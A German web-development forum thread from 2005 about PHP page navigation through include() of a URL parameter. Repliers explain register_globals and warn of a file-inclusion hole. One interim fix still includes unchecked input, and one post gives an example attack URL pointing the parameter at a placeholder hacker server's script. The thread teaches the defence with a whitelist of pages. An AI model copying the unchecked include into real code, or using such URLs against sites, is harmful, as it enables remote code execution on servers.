Eurokicker
-


Hinweise


Antwort
 
LinkBack Themen-Optionen Thema durchsuchen Thema bewerten
Alt 15.12.2005, 18:01   #1
TP-Senior
 
Registriert seit: Jul 2003
Sven_F macht alles soweit korrekt

Weiterleitung in PHP


Hallo!

Jetzt wird mit sicherheit so mancher die Hände übern Kopf zusammenschlagen aber was solls!

Ich habe folgenes Prob:

Meine Seite ist mit Tabellen gebaut

HTML-Code:
 ------------------------------------
|                 1                  |
 ------------------------------------
|     2     |            3           |
 ------------------------------------
|                4                   |
 ------------------------------------
1= Header
2= Navi
3= Content
4= Footer

Nun habe ich die 3 Spalten natürlich in
HEADER
BODY
FOOTER
getrennt

Body ist dann wiederum aufgeteilt in
NAVI
CONTENT

Wobei ich in Body folgenen Befehl nutze :

PHP-Code:
if ($go == "")
{
$go "main.php";}
include(
"$go"); 
in der NAVI gehe ich dann wie folgt vor um eine Weiterleitung in den CONTENT zu bekommen:

PHP-Code:
<a href="index.php?go=TESTSEITE.php" target="_self" OnMouseOver="window.defaultStatus=' ';return true"  OnClick="window.defaultStatus=' ';"  OnMouseOut="window.defaultStatus=' ';return true">
TESTSEITE
</a
Der Befehl funktioniert wunderbar jedoch habe ich nun einen Serverwechsel vorgenommen und alles 1:1 auf dem Neuen Server hochgeladen!

Nun funktioniert diese art von Navigation nicht mehr!

Egal auf welchen Link ich klicke es kommt immer nur die MAIN.PHP
In der Adresszeile wird aber das richtige angezeigt und eine Fehlermeldung erfolgt auch keine !
Es wird einfach nur nicht die TESTSEITE im CONTENT wiedergegeben!

Der Neue Server hat aber PHP-Medule installiert!

Nun weiß ich absolut nicht woran es liegen könnte das die Navigation nicht auf dem neuen Server funktioniert!
Auch die Betreiber konnten mir nicht weiterhelfen!

Hab Ihr schonmal so ein Problem gehabt oder ne ahnung woran es liegen könnte?
Muß der Server-Betreiber eine gewisse Version von PHP installiert haben damit diese Art von Navigation auch auf dem neuen Server funktioniert?

Wäre echt super wenn mir da jemand nen Rat oder Tip geben könnte!
Sven_F ist offline   Mit Zitat antworten


Alt 15.12.2005, 18:17   #2
TP-Veteran
 
Benutzerbild von fettmme
 
Registriert seit: Feb 2002
fettmme bringt sich richtig einfettmme bringt sich richtig ein
1. Auf Deinem Testserver ist register_globals off.
2. Dein Code ist ein riesiges Sicherheitsloch.
__________________
class GetProfileCustomerEntityReceiverInformationReceiverAndProgrammingInforma...{
public function __construct(){ if(!$this) die(' '); } }
http://www.thedailywtf.com/
fettmme ist offline   Mit Zitat antworten
Alt 15.12.2005, 18:23   #3
DSB
TP-Veteran
 
Benutzerbild von DSB
 
Registriert seit: Mar 2005
Ort: Oyten
DSB ist ein richtiges Arbeitstier - DANKEDSB ist ein richtiges Arbeitstier - DANKEDSB ist ein richtiges Arbeitstier - DANKEDSB ist ein richtiges Arbeitstier - DANKE
So geht es wieder:
Code:
$go=(isset($_GET['go'])) ? $_GET['go']:'main.php';
include($go);
aber fettmme hat vollkommen recht.
Du lädst ohne weitere Prüfung der $go-Variablen förmlich zum Hacken Deiner Seite ein. Warum das so ist und wie man sich besser schützen kann wurde hier schon oft genauer besprochen.
__________________
Gruß, DSB
Einfaches Backup/ Restore Deiner MySQl-Datenbank
DSB ist offline   Mit Zitat antworten
Alt 15.12.2005, 18:25   #4
TP-Senior
 
Registriert seit: Jul 2003
Sven_F macht alles soweit korrekt
Oha eine Einladung für Hacker?

Nun dann werde ich mal schaun ob ich diesbezüglich hier im Forum was finde!

Ist es mit der abhilfe von DSB auch noch ein Risiko?
Sven_F ist offline   Mit Zitat antworten
Alt 15.12.2005, 18:26   #5
TP-Veteran
 
Benutzerbild von fettmme
 
Registriert seit: Feb 2002
fettmme bringt sich richtig einfettmme bringt sich richtig ein
So ist es besser:
PHP-Code:
$valideSeiten = array('main','kontakt');

if(
is_array($valideSeiten) && in_array($_GET['go'], $valideSeiten) ){
       
$go $_GET['go'];
}else{
       
$go 'main';
}


include(
$go.'.php'); 
__________________
class GetProfileCustomerEntityReceiverInformationReceiverAndProgrammingInforma...{
public function __construct(){ if(!$this) die(' '); } }
http://www.thedailywtf.com/
fettmme ist offline   Mit Zitat antworten
Alt 15.12.2005, 18:35   #6
TP-Senior
 
Registriert seit: Jul 2003
Sven_F macht alles soweit korrekt
Also mit DSB seinem Codeschnippsel funktioniert nun die Navigation wieder! Soweit schonmal DANKE!

@fettmme
gehe ich recht in der annahme das ich bei
PHP-Code:
$valideSeiten = array('main','kontakt'); 
Weitere Links schreiben muß ?
Beispiel :

PHP-Code:
$valideSeiten = array('main','kontakt','impressum','forum'); 
Oder reicht es mit dem eigendlichen Link wie bisher?

PHP-Code:
<a href="index.php?go=GEWÜNSCHTE SEITE .php" target="_self" OnMouseOver="window.defaultStatus=' ';return true"  OnClick="window.defaultStatus=' ';"  OnMouseOut="window.defaultStatus=' ';return true"
TESTSEITE 
</a
Sven_F ist offline   Mit Zitat antworten
Alt 15.12.2005, 18:39   #7
TP-Veteran
 
Benutzerbild von fettmme
 
Registriert seit: Feb 2002
fettmme bringt sich richtig einfettmme bringt sich richtig ein
Zitat:
Zitat von Sven_F
@fettmme
gehe ich recht in der annahme das ich bei
PHP-Code:
$valideSeiten = array('main','kontakt'); 
Weitere Links schreiben muß ?
Beispiel :

PHP-Code:
$valideSeiten = array('main','kontakt','impressum','forum'); 
[/php]
Richtig
__________________
class GetProfileCustomerEntityReceiverInformationReceiverAndProgrammingInforma...{
public function __construct(){ if(!$this) die(' '); } }
http://www.thedailywtf.com/
fettmme ist offline   Mit Zitat antworten
Alt 15.12.2005, 18:43   #8
TP-Senior
 
Registriert seit: Jul 2003
Sven_F macht alles soweit korrekt
hmmm.......

Das habe ich gerade mal ausprobiert und muß leider sagen das es nicht funktioniert!

Wie sollte da der eigendliche Link aussehen?
(Vielleicht funktioniert auch dies nicht auf dem Server auf dem ich es austeste)

Ich habe auf einigen Seiten gesehen das die mit dem Gleichen Prinziep arbeiten jedoch wird in der Adresszeile nur die eigendliche Domaingeschrieben nicht der Ganze Pfad

Wie nennt man diese Art? (Dann kann ich mich mal auf die Suche im Forum und im Netz machen)
Sven_F ist offline   Mit Zitat antworten
Alt 15.12.2005, 19:34   #9
TP-Senior
 
Registriert seit: Jul 2003
Sven_F macht alles soweit korrekt
oh... mein Fehler Fettmme!

Habe übersehen das die Endung PHP schon hier vorhanden ist :

PHP-Code:
include($go.'.php'); 
daher reicht es den Link wie folgt zu schreiben :

PHP-Code:
<a href="index.php?go=IMPRESSUM" target="_self" OnMouseOver="window.defaultStatus=' ';return true"  OnClick="window.defaultStatus=' ';"  OnMouseOut="window.defaultStatus=' ';return true">  
IMPRESSUM 
</a
Ohne die Endung PHP

So funktioniert auch Fettmme`s Variante!

Nun muß ich nur noch schauen wie man die Einladung für Hacker umgehen kann!
Sven_F ist offline   Mit Zitat antworten
Alt 15.12.2005, 19:44   #10
DSB
TP-Veteran
 
Benutzerbild von DSB
 
Registriert seit: Mar 2005
Ort: Oyten
DSB ist ein richtiges Arbeitstier - DANKEDSB ist ein richtiges Arbeitstier - DANKEDSB ist ein richtiges Arbeitstier - DANKEDSB ist ein richtiges Arbeitstier - DANKE
In dem Array definierst Du all die gültigen Seiten.
Manipuliert ein Hacker nun die Variable und ruft die index.php z.B. mit "index.php?go=http://www.hackers_server.de/boeses_script" auf, so ist der Eintrag "http://www.hackers_server.de/boeses_script" nicht im Array der gültigen URLs enthalten und wird auf "main" zurückgesetzt.

Bei Deiner alten Lösung wäre das include so ausgeführt worden und der Hacker hätte eigene Scripte einschleusen können. Das "böse Script" hätte alle möglichen Informationen über den Server ausgeben können - Umgebungsvariablen, im Script definierte Variablen, ja sogar Aufrufe von Systembefehlen und ähnliches.

Jetzt kann er das nicht mehr, da Du bestimmst welche Aufrufe überhaupt als gültig akzeptiert werden.
__________________
Gruß, DSB
Einfaches Backup/ Restore Deiner MySQl-Datenbank
DSB ist offline   Mit Zitat antworten
Alt 15.12.2005, 19:54   #11
TP-Senior
 
Registriert seit: Jul 2003
Sven_F macht alles soweit korrekt
Achso das ist schon die Sichere Lösung!

Super da wurden gleich 2 Probleme mit nur einer Frage gelöst! Klasse und Danke für eure Hilfe!

Nebenbei hätt ich da noch ne kleine Frage die aber nicht so wichtig wäre!

Wie funktioniert das bei einigen seiten das anstelle des gesamten Pfades nur die Hauptdomain in der Adresszeile zu sehen ist?

Beispiel (sind keine exestierende Links) :
Link = www.MeineDomain.de/index.php?go=Impressum
Adresszeile = www.MeineDomain.de

Ich hoffe ich habe verständlich genug gefragt!
Leider weiß ich nicht genau wie man mein Vorhaben nennt deswegen kann ich auch leider nicht im Großen WWW danach suchen da mir der Begriff für mein Vorhaben fehlt!

Auch wenn keiner eine Lösung dazu hat wäre mir schon ein Suchbegriff eine Sehr große hilfe!

Geändert von Sven_F (15.12.2005 um 20:41 Uhr).
Sven_F ist offline   Mit Zitat antworten
Alt 15.12.2005, 20:14   #12
DSB
TP-Veteran
 
Benutzerbild von DSB
 
Registriert seit: Mar 2005
Ort: Oyten
DSB ist ein richtiges Arbeitstier - DANKEDSB ist ein richtiges Arbeitstier - DANKEDSB ist ein richtiges Arbeitstier - DANKEDSB ist ein richtiges Arbeitstier - DANKE
Zitat:
Zitat von Sven_F
Wie funktioniert das bei einigen seiten das anstelle des gesamten Pfades nur die Hauptdomain in der Adresszeile zu sehen ist?
Das geht nur mit Hilfe eines Framesets.
(Oder wenn alle Links in Wirklichkeit das Übermitteln eines Postformulars auslösen)

Wenn Du sowas hier meinst:
http://www.server.de/bild/script/posting12
dann such mal nach url_rewriting und mod_url.
Das wird in Verbindung mit .htaccess genutzt - Dein Hoster muss dieses Modul aber in seiner Serverkonfiguration eingeschaltet haben.
Das funktioniert über den Befehl "RewriteCond".
Ist aber ein recht komplexes Thema für sich. :-)
__________________
Gruß, DSB
Einfaches Backup/ Restore Deiner MySQl-Datenbank

Geändert von DSB (15.12.2005 um 20:16 Uhr).
DSB ist offline   Mit Zitat antworten
Alt 15.12.2005, 20:39   #13
TP-Senior
 
Registriert seit: Jul 2003
Sven_F macht alles soweit korrekt
DSB dein Link funktioniert nicht!

Aber macht nix!
Danke für die Fachbegriffe mit denen werde ich gewiss etwas im Netz finden!

Werde ich mir mal nen Tag nehmen und mich auf die Suche machen!
Sven_F ist offline   Mit Zitat antworten
Alt 15.12.2005, 20:43   #14
DSB
TP-Veteran
 
Benutzerbild von DSB
 
Registriert seit: Mar 2005
Ort: Oyten
DSB ist ein richtiges Arbeitstier - DANKEDSB ist ein richtiges Arbeitstier - DANKEDSB ist ein richtiges Arbeitstier - DANKEDSB ist ein richtiges Arbeitstier - DANKE
Zitat:
Zitat von Sven_F
DSB dein Link funktioniert nicht!
Das war ein Beispiel für den Aufbau eines solchen URLs.
__________________
Gruß, DSB
Einfaches Backup/ Restore Deiner MySQl-Datenbank
DSB ist offline   Mit Zitat antworten
Alt 15.12.2005, 20:49   #15
TP-Senior
 
Registriert seit: Jul 2003
Sven_F macht alles soweit korrekt
Achso

Ich meinte mit meiner frage das in der Adresszeile oben nur die Domain steht!

Hier genau in diesem moment steht in der Adresszeile :

http://www.traum-projekt.com/forum/1...tml#post587602

Und mit meinem Vorhaben würde in der Adresszeile nur folgenes stehen :

http://www.traum-projekt.com

So meinte ich das!
Aber ich denke auch so hast du es verstanden gehabt oder?
Sven_F ist offline   Mit Zitat antworten
Antwort

  Aktuelles Thema
  TP Hilfe Forum > Web-Editoren & Coding > Traum-Dynamik
Weiterleitung in PHP Weiterleitung in PHP
« Recordset ist sofort EOF | xampp auf usb stick? »

Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1)
 
Themen-Optionen Thema durchsuchen
Thema durchsuchen:

Erweiterte Suche
Thema bewerten
Thema bewerten:

Forumregeln
Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are an
Gehe zu


Alle Zeitangaben in WEZ +1. Es ist jetzt 05:01 Uhr.

Powered by: vBulletin Version 3.7 (Deutsch)
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd. / Search Engine Friendly URLs by vBSEO 3.2.0 ©2008, Crawlability, Inc.
Traum-Projekt.com | Suchen | Archiv | Impressum | Kontakt | | | Nach oben |



1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16